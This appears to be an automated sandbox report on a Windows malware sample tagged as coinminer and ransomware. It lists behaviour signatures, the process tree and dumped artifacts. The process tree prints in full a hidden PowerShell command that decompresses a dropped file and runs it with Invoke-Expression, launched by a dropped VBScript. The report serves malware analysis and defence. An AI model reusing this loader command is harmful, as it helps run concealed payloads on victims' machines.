Analysis
- max time kernel
150s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
02/08/2026, 16:42
General
- Target 2026-08-02_d324db899acdf6fdb16f2049607b20e0_coinminer_elex_mimic_pay2key_wannacry.exe
- Size 702KB
- Sample260802-t7z2raxamd
- SHA256 283958387ed947028c632caf55b9a91930e3a53067be535198bbf593f3255fb1
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-02_d324db899acdf6fdb16f2049607b20e0_coinminer_elex_mimic_pay2key_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-02_d324db899acdf6fdb16f2049607b20e0_coinminer_elex_mimic_pay2key_wannacry.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-08-02_d324db899acdf6fdb16f2049607b20e0_coinminer_elex_mimic_pay2key_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-02_d324db899acdf6fdb16f2049607b20e0_coinminer_elex_mimic_pay2key_wannacry.exe" -sfxwaitall:0 "wscript.exe" "C:\Users\Admin\AppData\Local\Temp\ProGetDiskwpf\Lanzyul.vbs"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\ProGetDiskwpf\Lanzyul.vbs"3⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "& { $b = [System.IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Local\Temp\ProGetDiskwpf\config.dat'); $s = New-Object System.IO.MemoryStream(, $b); $g = New-Object System.IO.Compression.GZipStream($s, [System.IO.Compression.CompressionMode]::Decompress); $r = New-Object System.IO.StreamReader($g, [System.Text.Encoding]::UTF8); Invoke-Expression $r.ReadToEnd() }"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
Lanzyul.vbs
config.dat
memory/4928-22-0x0000000008380000-0x000000000893A000-memory.dmp
memory/4928-35-0x00000000080A0000-0x00000000080CA000-memory.dmp
memory/4928-10-0x0000000005310000-0x0000000005376000-memory.dmp
memory/4928-11-0x0000000005380000-0x00000000053E6000-memory.dmp
memory/4928-24-0x00000000076D0000-0x0000000007706000-memory.dmp
memory/4928-15-0x0000000005F50000-0x0000000005F6E000-memory.dmp
memory/4928-16-0x0000000005F70000-0x0000000005FBC000-memory.dmp
memory/4928-8-0x0000000005420000-0x0000000005A6A000-memory.dmp
memory/4928-18-0x0000000007740000-0x0000000007DBC000-memory.dmp
memory/4928-19-0x00000000064A0000-0x00000000064BA000-memory.dmp
memory/4928-20-0x0000000007180000-0x0000000007216000-memory.dmp
memory/4928-21-0x0000000007120000-0x0000000007142000-memory.dmp
memory/4928-9-0x0000000005240000-0x0000000005262000-memory.dmp
memory/4928-7-0x0000000002B10000-0x0000000002B46000-memory.dmp
memory/4928-14-0x0000000005AC0000-0x0000000005E1B000-memory.dmp
memory/4928-25-0x000000006FD00000-0x000000006FD4C000-memory.dmp
memory/4928-26-0x000000006FE60000-0x00000000701BB000-memory.dmp
memory/4928-29-0x00000000076B0000-0x00000000076D0000-memory.dmp
memory/4928-30-0x0000000007DC0000-0x0000000007E63000-memory.dmp
memory/4928-31-0x0000000007E90000-0x0000000007E9A000-memory.dmp
memory/4928-32-0x0000000007EB0000-0x0000000007EC1000-memory.dmp
memory/4928-33-0x0000000007EE0000-0x0000000007EF0000-memory.dmp
memory/4928-34-0x0000000007F00000-0x0000000007F0A000-memory.dmp
memory/4928-23-0x00000000074B0000-0x0000000007542000-memory.dmp
memory/4928-36-0x00000000080D0000-0x00000000080F4000-memory.dmp
memory/4928-37-0x000000000C420000-0x000000000C428000-memory.dmp
memory/4928-39-0x0000000008070000-0x000000000807E000-memory.dmp
memory/4928-38-0x000000000C940000-0x000000000C97E000-memory.dmp